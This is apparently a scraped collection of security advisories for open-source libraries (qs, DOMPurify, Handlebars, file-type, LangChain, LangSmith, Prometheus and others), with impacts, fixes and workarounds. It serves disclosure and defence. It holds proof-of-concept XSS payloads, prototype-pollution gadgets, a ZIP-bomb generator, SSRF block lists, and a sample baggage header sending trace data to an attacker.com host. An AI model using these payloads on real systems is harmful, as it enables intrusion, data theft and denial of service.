IBM Concert 1.0.0 through 2.3.1 could allow a remote attacker to perform unauthorized actions using man in the middle techniques due to improper certificate validation.

Certain URLs passed to the redirect function can trigger an open redirect to an external domain depending on the level of validation done by the application prior to returning the redirect.

[!NOTE] This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>)

Internationalized Domain Names in Applications (IDNA) for Python provides support for Internationalized Domain Names in Applications (IDNA) and Unicode IDNA Compatibility Processing. In versions prior to 3.15, payloads such as "\u0660" N or "\u30fb" N + "\u6f22" utilize the validcontexto function prior to length rejection, and for high values of N will take a long time to process. This is the same issue as CVE-2024-3651, however the original remediation in 2024 was not a complete fix. A specially crafted argument to the idna.encode() function could consume significant resources. This may lead to a denial-of-service. Starting in version 3.14, the function rejects long inputs as soon as practicable prior to any further processing to minimize resource consumption. In version 3.15, this approach was extended to lesser used alternate functions (i.e. per-label conversions and codec support). A workaround is available. Domain names cannot exceed 253 characters in length. If this length limit is enforced prior to passing the domain to the idna.encode() function, it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.

Summary

qs.stringify throws TypeError when called with arrayFormat: 'comma' and encodeValuesOnly: true on an array containing null or undefined. The throw is synchronous and not handled by any of qs's null-related options (skipNulls, strictNullHandling).

Details

In the comma + encodeValuesOnly branch, lib/stringify.js:145 mapped the array through the raw encoder before joining:

js

obj = utils.maybeMap(obj, encoder);

utils.encode (lib/utils.js:195) reads str.length with no null guard, so a null or undefined element throws TypeError. skipNulls and strictNullHandling are both checked in the per-element loop below this line and never get a chance to run.

Same class of bug as the filter-array path fixed in 0c180a4. The vulnerable shape of the comma + encodeValuesOnly branch was introduced in 4c4b23d ("encode comma values more consistently", PR #463, 2023-01-19), first released in v6.11.1.

PoC

js

const qs = require('qs');

qs.stringify({ a: [null, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });

qs.stringify({ a: [undefined, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });

qs.stringify({ a: [null] }, { arrayFormat: 'comma', encodeValuesOnly: true });

// TypeError: Cannot read properties of null (reading 'length')

// at encode (lib/utils.js:195:13)

// at Object.maybeMap (lib/utils.js:322:37)

// at stringify (lib/stringify.js:145:25)

Fix

lib/stringify.js:145, applied in 21f80b3 on main and released as v6.15.2:

diff

- obj = utils.maybeMap(obj, encoder);

+ obj = utils.maybeMap(obj, function (v) {

+ return v == null ? v : encoder(v);

+ });

null and undefined now pass through maybeMap unchanged and reach the join(',') step as-is. For { a: [null, 'b'] } this produces a=,b, matching the non-encodeValuesOnly comma path (which already joins before encoding and produces a=%2Cb for the same input). Single-element [null] arrays still collapse via the existing obj.join(',') || null and remain subject to skipNulls / strictNullHandling in the main loop.

Affected versions

=6.11.1 6.15.2 — fixed in v6.15.2.

The vulnerable code shape was introduced in 4c4b23d and first shipped in v6.11.1. Earlier versions — including all of 6.7.x, 6.8.x, 6.9.x, 6.10.x, and 6.11.0 — implemented the comma + encodeValuesOnly path differently (joining before encoding) and are not affected. Empirically verified across released versions.

Impact

Application code that calls qs.stringify with both arrayFormat: 'comma' and encodeValuesOnly: true (both non-default) on input that may contain a null or undefined array element will throw synchronously instead of producing a query string. In a typical Node.js HTTP framework (Express, Fastify, Koa, hapi) the sync throw is caught by the framework's error boundary and the affected request returns a 500; the worker process does not exit and subsequent requests are unaffected. The "kills the worker process" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled.

The vulnerable input is a null or undefined entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal null).

Bypass of meta content URL escaping causes XSS in html/template

Escaper bypass leads to XSS in html/template

ReverseProxy can forward queries containing parameters not visible to Rewrite functions. When used with a Rewrite function, or a Director function which parses query parameters, ReverseProxy sanitizes the forwarded request to remove query parameters which are not parsed by url.ParseQuery. ReverseProxy does not take ParseQuery's limit on the total number of query parameters (controlled by GODEBUG=urlmaxqueryparams=N) into account. This can permit ReverseProxy to forward a request containing a query parameter that is not visible to the Rewrite function. For example, the query "a1=x&a2=x&...&a10000=x&hidden=y" can forward the parameter "hidden=y" while hiding it from the proxy's Rewrite function.

Summary

Address6.group() and Address6.link() do not HTML-escape attacker-controlled content before embedding it in the HTML strings they return, and AddressError.parseMessage (emitted by the Address6 constructor for invalid input) can contain unescaped attacker-controlled content in one branch. An application that (1) passes untrusted input to Address6 and (2) renders the output of these methods, or the thrown error's parseMessage, as HTML (e.g. via innerHTML) is vulnerable to cross-site scripting. A related issue in v6.helpers.spanAll() produced malformed markup but was not exploitable; it is hardened in the same release for consistency.

Details

Four related issues were identified and fixed together:

1. Address6.group(): zone ID injection. The Address6 constructor stores the raw input (including any IPv6 zone ID) in this.address before zone stripping. group() then passed this.address to helpers.simpleGroup(), which wrapped each :-separated segment in a <span> element without HTML-escaping the content. A zone ID containing HTML markup was embedded verbatim. 2. Address6.link({ prefix, className }): attribute-value injection. link() concatenated user-supplied prefix and className into the href="…" and class="…" attributes without escaping. A caller passing untrusted content through these options could inject event handlers (e.g. onmouseover) and achieve XSS. 3. Address6 constructor: leading-zero IPv4 error path. The leading-zero branch in parse4in6() built AddressError.parseMessage by concatenating the raw address through String.replace(). Because parse4in6() runs before the bad-character check, any characters in the groups preceding the IPv4 suffix flowed into the error's HTML unescaped. Consumers who render parseMessage as HTML (its documented purpose — it already contains <span class="parse-error"> markup) could be XSS'd by a crafted input such as <img src=x onerror=alert(1)>:10.0.01.1. 4. v6.helpers.spanAll(): attribute-value injection (defense in depth). spanAll() embedded each character of its input into a class="digit value-${n} …" attribute without escaping. Because split('') limits n to a single character this was not exploitable in practice, but it produced malformed markup and is fixed for consistency.

Affected Versions

All versions up to and including 10.1.0.

Patched Version

10.1.1.

Impact

Real-world exposure is believed to be extremely limited. Analysis of all 425 dependent npm packages as well as GitHub code search found zero consumers of group(), link(), or spanAll(): these HTML-emitting surfaces appear to be unused across published npm packages and public repositories. Applications using only the address-parsing and comparison APIs (isValid, correctForm, isInSubnet, bigInt, etc.) are not affected.

Consumers who do render the output of group(), link(), spanAll(), or AddressError.parseMessage as HTML against untrusted input should upgrade.

PoC

javascript const { Address6 } = require('ip-address'); const addr = new Address6('fe80::1%<img src=x onerror=alert(1)>'); document.body.innerHTML = addr.group(); // fires the onerror handler in 10.1.0

Workarounds

If users cannot upgrade immediately:

- Do not pass untrusted input to the Address6 constructor, or - Never render the output of group(), link(), or spanAll(), nor the parseMessage field of any thrown AddressError, as HTML; treat these values as text only, or run them through DOMPurify before inserting into the DOM (DOMPurify's default configuration preserves the library's intended <span> wrapping while stripping any injected event handlers), or - Validate input with Address6.isValid() and reject anything that contains a zone identifier (a % character) or characters outside [0-9a-fA-F:/] before passing it to the constructor.

Lack of separate CVEs

Given the evidence that these methods are not used, and given that they are all of the same construction, maintainers do not think it's relevant or useful to create a separate CVE for each library method.

Credit

ip-address thanks @scovetta for reporting this issue.

LangChain is a framework for building agents and LLM-powered applications. Prior to langchain-text-splitters 1.1.2, HTMLHeaderTextSplitter.splittextfromurl() validated the initial URL using validatesafeurl() but then performed the fetch with requests.get() with redirects enabled (the default). Because redirect targets were not revalidated, a URL pointing to an attacker-controlled server could redirect to internal, localhost, or cloud metadata endpoints, bypassing SSRF protections. The response body is parsed and returned as Document objects to the calling application code. Whether this constitutes a data exfiltration path depends on the application: if it exposes Document contents (or derivatives) back to the requester who supplied the URL, sensitive data from internal endpoints could be leaked. Applications that store or process Documents internally without returning raw content to the requester are not directly exposed to data exfiltration through this issue. This vulnerability is fixed in 1.1.2.

Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.6.11, there is no CSRF protection on the cache feature in authlib.integrations.starletteclient.OAuth. This vulnerability is fixed in 1.6.11.

LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform. Prior to version 0.5.19 of the JavaScript SDK and version 0.7.31 of the Python SDK, the LangSmith SDK's output redaction controls (hideOutputs in JS, hideoutputs in Python) do not apply to streaming token events. When an LLM run produces streaming output, each chunk is recorded as a newtoken event containing the raw token value. These events bypass the redaction pipeline entirely — prepareRunCreateOrUpdateInputs (JS) and hiderunoutputs (Python) only process the inputs and outputs fields on a run, never the events array. As a result, applications relying on output redaction to prevent sensitive LLM output from being stored in LangSmith will still leak the full streamed content via run events. Version 0.5.19 of the JavaScript SDK and version 0.7.31 of the Python SDK fix the issue.

Summary

DOMPurify versions 3.0.1 through 3.3.3 (latest) are vulnerable to a prototype pollution-based XSS bypass. When an application uses DOMPurify.sanitize() with the default configuration (no CUSTOMELEMENTHANDLING option), a prior prototype pollution gadget can inject permissive tagNameCheck and attributeNameCheck regex values into Object.prototype, causing DOMPurify to allow arbitrary custom elements with arbitrary attributes — including event handlers — through sanitization.

Affected Versions

- 3.0.1 through 3.3.3 (current latest) — all affected - 3.0.0 and all 2.x versions — NOT affected (used Object.create(null) for initialization, no || {} reassignment) - The vulnerable || {} reassignment was introduced in the 3.0.0→3.0.1 refactor - This is distinct from GHSA-cj63-jhhr-wcxv (USEPROFILES Array.prototype pollution, fixed in 3.3.2) - This is distinct from CVE-2024-45801 / GHSA-mmhx-hmjr-r674 (depth prototype pollution, fixed in 3.1.3)

Root Cause

In purify.js at line 590, during config parsing:

javascript CUSTOMELEMENTHANDLING = cfg.CUSTOMELEMENTHANDLING || {};

When no CUSTOMELEMENTHANDLING is specified in the config (the default usage pattern), cfg.CUSTOMELEMENTHANDLING is undefined, and the fallback {} is used. This plain object inherits from Object.prototype.

Lines 591-598 then check cfg.CUSTOMELEMENTHANDLING (the original config property) — which is undefined — so the conditional blocks that would set tagNameCheck and attributeNameCheck from the config are never entered.

As a result, CUSTOMELEMENTHANDLING.tagNameCheck and CUSTOMELEMENTHANDLING.attributeNameCheck resolve via the prototype chain. If an attacker has polluted Object.prototype.tagNameCheck and Object.prototype.attributeNameCheck with permissive values (e.g., /./), these polluted values flow into DOMPurify's custom element validation at lines 973-977 and attribute validation, causing all custom elements and all attributes to be allowed.

Impact

- Attack type: XSS bypass via prototype pollution chain - Prerequisites: Attacker must have a prototype pollution primitive in the same execution context (e.g., vulnerable version of lodash, jQuery.extend, query-string parser, deep merge utility, or any other PP gadget) - Config required: Default. No special DOMPurify configuration needed. The standard DOMPurify.sanitize(userInput) call is affected. - Payload: Any HTML custom element (name containing a hyphen) with event handler attributes survives sanitization

Proof of Concept

javascript // Step 1: Attacker exploits a prototype pollution gadget elsewhere in the application Object.prototype.tagNameCheck = /./; Object.prototype.attributeNameCheck = /./;

// Step 2: Application sanitizes user input with DEFAULT config const clean = DOMPurify.sanitize('<x-x onfocus=alert(document.cookie) tabindex=0 autofocus>');

// Step 3: "Sanitized" output still contains the event handler console.log(clean); // Output: <x-x onfocus="alert(document.cookie)" tabindex="0" autofocus="">

// Step 4: When injected into DOM, XSS executes document.body.innerHTML = clean; // alert() fires

Tested configurations that are vulnerable:

| Call Pattern | Vulnerable? | |---|---| | DOMPurify.sanitize(input) | YES | | DOMPurify.sanitize(input, {}) | YES | | DOMPurify.sanitize(input, { CUSTOMELEMENTHANDLING: null }) | YES | | DOMPurify.sanitize(input, { CUSTOMELEMENTHANDLING: {} }) | NO (explicit object triggers L591 path) |

Suggested Fix

Change line 590 from: javascript CUSTOMELEMENTHANDLING = cfg.CUSTOMELEMENTHANDLING || {};

To: javascript CUSTOMELEMENTHANDLING = cfg.CUSTOMELEMENTHANDLING || create(null);

The create(null) function (already used elsewhere in DOMPurify, e.g., in clone()) creates an object with no prototype, preventing prototype chain inheritance.

Alternative application-level mitigation:

Applications can protect themselves by always providing an explicit CUSTOMELEMENTHANDLING in their config:

javascript DOMPurify.sanitize(input, { CUSTOMELEMENTHANDLING: { tagNameCheck: null, attributeNameCheck: null } });

Timeline

- 2026-04-04: Vulnerability discovered during automated DOMPurify fuzzing research (Fermat project) - 2026-04-04: Confirmed in Chrome browser with DOMPurify 3.3.3 - 2026-04-04: Verified distinct from GHSA-cj63-jhhr-wcxv and CVE-2024-45801 - 2026-04-04: Advisory drafted, responsible disclosure initiated

Credit

https://github.com/trace37labs

Summary

A denial of service vulnerability exists when parsing crafted multipart/form-data requests with large preamble or epilogue sections.

Details

Two inefficient multipart parsing paths could be abused with attacker-controlled input.

Before the first multipart boundary, the parser handled leading CR and LF bytes inefficiently while searching for the start of the first part. After the closing boundary, the parser continued processing trailing epilogue data instead of discarding it immediately. As a result, parsing time could grow with the size of crafted data placed before the first boundary or after the closing boundary.

Impact

An attacker can send oversized malformed multipart bodies that consume excessive CPU time during request parsing, reducing request-handling capacity and delaying legitimate requests. This issue degrades availability but does not typically result in a complete denial of service for the entire application.

Mitigation

Upgrade to version 0.0.26 or later, which skips ahead to the next boundary candidate when processing leading CR/LF data and immediately discards epilogue data after the closing boundary.

Authorization bypass via certificate bag manipulation in sigstore/timestamp-authority verifier

An authorization bypass vulnerability exists in sigstore/timestamp-authority verifier (timestamp-authority/v2/pkg/verification): VerifyTimestampResponse function correctly verifies the certificate chain but when the TSA specific constraints are verified in VerifyLeafCert, the first non-CA certificate from the PKCS#7 certificate bag is used instead of the leaf certificate from the certificate chain. An attacker can exploit this by prepending a forged certificate to the certificate bag while the message is signed with an authorized key. The library validates the signature using the one certificate but performs authorization checks on the another, allowing an attacker to bypass some authorization controls.

This vulnerability does not apply to timestamp-authority service, only to users of timestamp-authority/v2/pkg/verification package.

This vulnerability does not apply to sigstore-go even though it is a user of timestamp-authority/v2/pkg/verification: Providing TSACertificate option to VerifyTimestampResponse fully mitigates the issue.

Patches

The issue will be fixed in timestamp-authority 2.0.6

Workarounds

Users of VerifyTimestampResponse can use the TSACertificate option to specify the exact certificate they expect to be used: this fully mitigates the issue.

References

This issue was found after reading CVE-2026-33753 / GHSA-3xxc-pwj6-jgrj (originally reported by @Jaynornj and @Pr00fOf3xpl0it)

Impact

Stored cross-site scripting (XSS) via crafted metric names in the Prometheus web UI:

Old React UI + New Mantine UI: When a user hovers over a chart tooltip on the Graph page, metric names containing HTML/JavaScript are injected into innerHTML without escaping, causing arbitrary script execution in the user's browser. Old React UI only: When a user opens the Metric Explorer (globe icon next to the PromQL expression input field), and a metric name containing HTML/JavaScript is rendered in the fuzzy search results, it is injected into innerHTML without escaping, causing arbitrary script execution in the user's browser. Old React UI only: When a user views a heatmap chart and hovers over a cell, the le label values of the underlying histogram buckets are interpolated into innerHTML without escaping. While le is conventionally a numeric bucket boundary, Prometheus does not enforce this — arbitrary UTF-8 strings are accepted as label values, allowing script injection via a crafted scrape target or remote write.

With Prometheus v3.x defaulting to UTF-8 metric and label name validation, characters like <, >, and " are now valid in metric names and labels, making this exploitable.

An attacker who can inject metrics (via a compromised scrape target, remote write, or OTLP receiver endpoint) can execute JavaScript in the browser of any Prometheus user who views the metric in the Graph UI. From the XSS context, an attacker could for example:

- Read /api/v1/status/config to extract sensitive configuration (although credentials / secrets are redacted by the server) - Call /-/quit to shut down Prometheus (only if --web.enable-lifecycle is set) - Call /api/v1/admin/tsdb/deleteseries to delete data (only if --web.enable-admin-api is set) - Exfiltrate metric data to an external server

Both the new Mantine UI and the old React UI are affected. The vulnerable code paths are:

- web/ui/mantine-ui/src/pages/query/uPlotChartHelpers.ts — tooltip innerHTML with unescaped labels.name - web/ui/react-app/src/pages/graph/GraphHelpers.ts — tooltip content with unescaped labels.name - web/ui/react-app/src/pages/graph/MetricsExplorer.tsx — fuzzy search results rendered via dangerouslySetInnerHTML without sanitization - web/ui/react-app/src/vendor/flot/jquery.flot.heatmap.js — heatmap tooltip with unescaped label values

Patches

A patch has been published in Prometheus 3.5.2 LTS and Prometheus 3.11.2. The fix applies escapeHTML() to all user-controlled values (metric names and label values) before inserting them into innerHTML. This advisory will be updated with the patched version once released.

Workarounds

- If using the remote write receiver (--web.enable-remote-write-receiver), ensure it is not exposed to untrusted sources. - If using the OTLP receiver (--web.enable-otlp-receiver), ensure it is not exposed to untrusted sources. - Ensure scrape targets are trusted and not under attacker control. - Do not enable admin / mutating API endpoints (e.g. --web.enable-admin-api or web.enable-lifecycle) in cases where you cannot prevent untrusted data from being ingested. - Users should avoid clicking untrusted links, especially those containing functions such as labelreplace, as they may generate poisoned label names and values.

Acknowledgements

Thanks to @gladiator9797 (Duc Anh Nguyen from TinyxLab) for reporting this.

tar.Reader can allocate an unbounded amount of memory when reading a maliciously-crafted archive containing a large number of sparse regions encoded in the "old GNU sparse map" format.

Impact What kind of vulnerability is it? Who is impacted?

SseStream.transform() interpolates message.type and message.id directly into Server-Sent Events text protocol output without sanitizing newline characters (\r, \n). Since the SSE protocol treats both \r and \n as field delimiters and \n\n as event boundaries, an attacker who can influence these fields through upstream data sources can inject arbitrary SSE events, spoof event types, and corrupt reconnection state. Spring Framework's own security patch (6e97587) validates these same fields (id, event) for the same reason.

Actual impact:

- Event spoofing: Attacker forges SSE events with arbitrary event: types, causing client-side EventSource.addEventListener() callbacks to fire for wrong event types. - Data injection: Attacker injects arbitrary data: payloads, potentially triggering XSS if the client renders SSE data as HTML without sanitization. - Reconnection corruption: Attacker injects id: fields, corrupting the Last-Event-ID header on reconnection, causing the client to miss or replay events. - Attack precondition: Requires the developer to map user-influenced data to the type or id fields of SSE messages. Direct HTTP request input does not reach these fields without developer code bridging the gap. - Patches Has the problem been patched? What versions should users upgrade to?

Patched in @nestjs/core@11.1.18

Summary

resolvePartial() in the Handlebars runtime resolves partial names via a plain property lookup on options.partials without guarding against prototype-chain traversal. When Object.prototype has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered without HTML escaping, resulting in reflected or stored XSS.

Description

The root cause is in lib/handlebars/runtime.js inside resolvePartial() and invokePartial():

javascript // Vulnerable: plain bracket access traverses Object.prototype partial = options.partials[options.name];

hasOwnProperty is never checked, so if Object.prototype has been seeded with a key whose name matches a partial reference in the template (e.g. widget), the lookup succeeds and the polluted string is returned. The runtime emits a prototype-access warning, but the partial is still resolved and its content is inserted into the rendered output unescaped. This contradicts the documented security model and is distinct from CVE-2021-23369 and CVE-2021-23383, which addressed data property access rather than partial template resolution.

Prerequisites for exploitation: 1. The target application must be vulnerable to prototype pollution (e.g. via qs, minimist, or any querystring/JSON merge sink). 2. The attacker must know or guess the name of a partial reference used in a template.

Proof of Concept

javascript const Handlebars = require('handlebars');

// Step 1: Prototype pollution (via qs, minimist, or another vector) Object.prototype.widget = '<img src=x onerror="alert(document.domain)">';

// Step 2: Normal template that references a partial const template = Handlebars.compile('<div>Welcome! {{> widget}}</div>');

// Step 3: Render — XSS payload injected unescaped const output = template({}); // Output: <div>Welcome! <img src=x onerror="alert(document.domain)"></div>

The runtime prints a prototype access warning claiming "access has been denied," but the partial still resolves and returns the polluted value.

Workarounds

- Apply Object.freeze(Object.prototype) early in application startup to prevent prototype pollution. Note: this may break other libraries. - Use the Handlebars runtime-only build (handlebars/runtime), which does not compile templates and reduces the attack surface.

Impact

When using multiple wildcards, combined with at least one parameter, a regular expression can be generated that is vulnerable to ReDoS. This backtracking vulnerability requires the second wildcard to be somewhere other than the end of the path.

Unsafe examples:

/foo-bar-:baz /a-:b-c-:d /x/a-:b/c/y

Safe examples:

/foo-:bar /foo-:bar-baz

Patches

Upgrade to version 8.4.0.

Workarounds

If developers are using multiple wildcard parameters, they can check the regex output with a tool such as https://makenowjust-labs.github.io/recheck/playground/ to confirm whether a path is vulnerable.

Summary

A crafted ZIP file can trigger excessive memory growth during type detection in file-type when using fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile().

In affected versions, the ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause file-type to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. In testing on file-type 21.3.1, a ZIP of about 255 KB caused about 257 MB of RSS growth during fileTypeFromBuffer().

This is an availability issue. Applications that use these APIs on untrusted uploads can be forced to consume large amounts of memory and may become slow or crash.

Root Cause

The ZIP detection logic applied different limits depending on whether the tokenizer had a known file size.

For stream inputs, ZIP probing was bounded by maximumZipEntrySizeInBytes (1 MiB). For known-size inputs such as buffers, blobs, and files, the code instead used Number.MAXSAFEINTEGER in two relevant places:

js const maximumContentTypesEntrySize = hasUnknownFileSize(tokenizer) ? maximumZipEntrySizeInBytes : Number.MAXSAFEINTEGER;

and:

js const maximumLength = hasUnknownFileSize(this.tokenizer) ? maximumZipEntrySizeInBytes : Number.MAXSAFEINTEGER;

Together, these checks allowed a crafted ZIP to bypass the intended inflate limit for known-size APIs and force large decompression during detection of entries such as [ContentTypes].xml.

Proof of Concept

js import {fileTypeFromBuffer} from 'file-type'; import archiver from 'archiver'; import {Writable} from 'node:stream';

async function createZipBomb(sizeInMegabytes) { return new Promise((resolve, reject) => { const chunks = []; const writable = new Writable({ write(chunk, encoding, callback) { chunks.push(chunk); callback(); }, });

const archive = archiver('zip', {zlib: {level: 9}}); archive.pipe(writable); writable.on('finish', () => { resolve(Buffer.concat(chunks)); }); archive.on('error', reject);

const xmlPrefix = '<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">'; const padding = Buffer.alloc(sizeInMegabytes 1024 1024 - xmlPrefix.length, 0x20); archive.append(Buffer.concat([Buffer.from(xmlPrefix), padding]), {name: '[ContentTypes].xml'}); archive.finalize(); }); }

const zip = await createZipBomb(256); console.log('ZIP size (KB):', (zip.length / 1024).toFixed(0));

const before = process.memoryUsage().rss; await fileTypeFromBuffer(zip); const after = process.memoryUsage().rss;

console.log('RSS growth (MB):', ((after - before) / 1024 / 1024).toFixed(0));

Observed on file-type 21.3.1: - ZIP size: about 255 KB - RSS growth during detection: about 257 MB

Affected APIs

Affected: - fileTypeFromBuffer() - fileTypeFromBlob() - fileTypeFromFile()

Not affected: - fileTypeFromStream(), which already enforced the ZIP inflate limit for unknown-size inputs

Impact

Applications that inspect untrusted uploads with fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile() can be forced to consume excessive memory during ZIP-based type detection. This can degrade service or lead to process termination in memory-constrained environments.

Cause

The issue was introduced in 399b0f1

Impact A denial of service vulnerability exists in the ASF (WMV/WMA) file type detection parser. When parsing a crafted input where an ASF sub-header has a size field of zero, the parser enters an infinite loop. The payload value becomes negative (-24), causing tokenizer.ignore(payload) to move the read position backwards, so the same sub-header is read repeatedly forever.

Any application that uses file-type to detect the type of untrusted/attacker-controlled input is affected. An attacker can stall the Node.js event loop with a 55-byte payload.

Patches Fixed in version 21.3.1. Users should upgrade to >= 21.3.1.

Workarounds Validate or limit the size of input buffers before passing them to file-type, or run file type detection in a worker thread with a timeout.

References - Fix commit: 319abf871b50ba2fa221b4a7050059f1ae096f4f

Reporter

crnkovic@lokvica.com

DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in commit 2726c74, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the SAFEFORXML regex. Attackers can include payloads like /noscriptimg src=x onerror=alert(1) in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.

DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFEFORXML regex. Attackers can include closing rawtext tags like /textarea in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.

Versions of the package markdown-it from 13.0.0 and before 14.1.1 are vulnerable to Regular Expression Denial of Service (ReDoS) due to the use of the regex /\+$/ in the linkify function. An attacker can supply a long sequence of characters followed by a non-matching character, which triggers excessive backtracking and may lead to a denial-of-service condition.

Summary The arrayLimit option in qs does not enforce limits for comma-separated values when comma: true is enabled, allowing attackers to cause denial-of-service via memory exhaustion. This is a bypass of the array limit enforcement, similar to the bracket notation bypass addressed in GHSA-6rw7-vpxm-498p (CVE-2025-15284).

Details When the comma option is set to true (not the default, but configurable in applications), qs allows parsing comma-separated strings as arrays (e.g., ?param=a,b,c becomes ['a', 'b', 'c']). However, the limit check for arrayLimit (default: 20) and the optional throwOnLimitExceeded occur after the comma-handling logic in parseArrayValue, enabling a bypass. This permits creation of arbitrarily large arrays from a single parameter, leading to excessive memory allocation.

Vulnerable code (lib/parse.js: lines ~40-50): js if (val && typeof val === 'string' && options.comma && val.indexOf(',') -1) {     return val.split(','); }

if (options.throwOnLimitExceeded && currentArrayLength = options.arrayLimit) {     throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); }

return val; The split(',') returns the array immediately, skipping the subsequent limit check. Downstream merging via utils.combine does not prevent allocation, even if it marks overflows for sparse arrays.This discrepancy allows attackers to send a single parameter with millions of commas (e.g., ?param=,,,,,,,,...), allocating massive arrays in memory without triggering limits. It bypasses the intent of arrayLimit, which is enforced correctly for indexed (a[0]=) and bracket (a[]=) notations (the latter fixed in v6.14.1 per GHSA-6rw7-vpxm-498p).

PoC Test 1 - Basic bypass: npm install qs

js const qs = require('qs');

const payload = 'a=' + ','.repeat(25); // 26 elements after split (bypasses arrayLimit: 5) const options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };

try {   const result = qs.parse(payload, options);   console.log(result.a.length); // Outputs: 26 (bypass successful) } catch (e) {   console.log('Limit enforced:', e.message); // Not thrown } Configuration: - comma: true - arrayLimit: 5 - throwOnLimitExceeded: true

Expected: Throws "Array limit exceeded" error. Actual: Parses successfully, creating an array of length 26.

Impact Denial of Service (DoS) via memory exhaustion.

Description

The RecursiveUrlLoader class in @langchain/community is a web crawler that recursively follows links from a starting URL. Its preventOutside option (enabled by default) is intended to restrict crawling to the same site as the base URL.

The implementation used String.startsWith() to compare URLs, which does not perform semantic URL validation. An attacker who controls content on a crawled page could include links to domains that share a string prefix with the target (e.g., https://example.com.attacker.com passes a startsWith check against https://example.com), causing the crawler to follow links to attacker-controlled or internal infrastructure.

Additionally, the crawler performed no validation against private or reserved IP addresses. A crawled page could include links targeting cloud metadata services (169.254.169.254), localhost, or RFC 1918 addresses, and the crawler would fetch them without restriction.

Impact

An attacker who can influence the content of a page being crawled (e.g., by placing a link on a public-facing page, forum, or user-generated content) could cause the crawler to:

- Fetch cloud instance metadata (AWS, GCP, Azure), potentially exposing IAM credentials and session tokens - Access internal services on private networks (10.x, 172.16.x, 192.168.x) - Connect to localhost services - Exfiltrate response data via attacker-controlled redirect chains

This is exploitable in any environment where RecursiveUrlLoader runs on infrastructure with access to cloud metadata or internal services — which includes most cloud-hosted deployments.

Resolution

Two changes were made:

1. Origin comparison replaced. The startsWith check was replaced with a strict origin comparison using the URL API (new URL(link).origin === new URL(baseUrl).origin). This correctly validates scheme, hostname, and port as a unit, preventing subdomain-based bypasses.

2. SSRF validation added to all fetch operations. A new URL validation module (@langchain/core/utils/ssrf) was introduced and applied before every outbound fetch in the crawler. This blocks requests to: - Cloud metadata endpoints: 169.254.169.254, 169.254.170.2, 100.100.100.200, metadata.google.internal, and related hostnames - Private IP ranges: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, 169.254.0.0/16 - IPv6 equivalents: ::1, fc00::/7, fe80::/10 - Non-HTTP/HTTPS schemes (file:, ftp:, javascript:, etc.)

Cloud metadata endpoints are unconditionally blocked and cannot be overridden.

Workarounds

Users who cannot upgrade immediately should avoid using RecursiveUrlLoader on untrusted or user-influenced content, or should run the crawler in a network environment without access to cloud metadata or internal services.

Summary

The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary apiurl values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.

---

Description

When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.fromheaders() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including apiurl and apikey fields.

Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker.

---

Attack Vector

1. Attacker sends an HTTP request to a vulnerable service with a malicious baggage header: baggage: langsmith-replicas=[{"apiurl":"https://attacker.com/exfil","projectname":"x"}]

2. The service parses the header via RunTree.fromheaders(), storing the attacker's URL

3. When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to https://attacker.com/exfil

---

Impact

- Data Exfiltration: Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers - SSRF: Ability to make the server send requests to arbitrary URLs, potentially targeting internal services

---

Affected Use Cases

Applications are vulnerable if they: - Use TracingMiddleware to automatically propagate tracing context - Call RunTree.fromheaders() / RunTree.fromHeaders() with untrusted HTTP headers

---

Remediation

Update to the patched versions: - Python: pip install langsmith>=0.6.3 - JavaScript: npm install langsmith@>=0.4.6

The fix filters incoming replica configurations to an allowlist of safe fields, removing apiurl, apikey, and other credential fields.

---

Workarounds

If unable to upgrade immediately: - Strip or validate the baggage header before passing to fromheaders() - Do not use TracingMiddleware with untrusted traffic

Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with OTRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file.

Who is impacted:

All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries:

- virtualenv users: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - PyTorch users: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - poetry/tox users: through using virtualenv or filelock on their own.

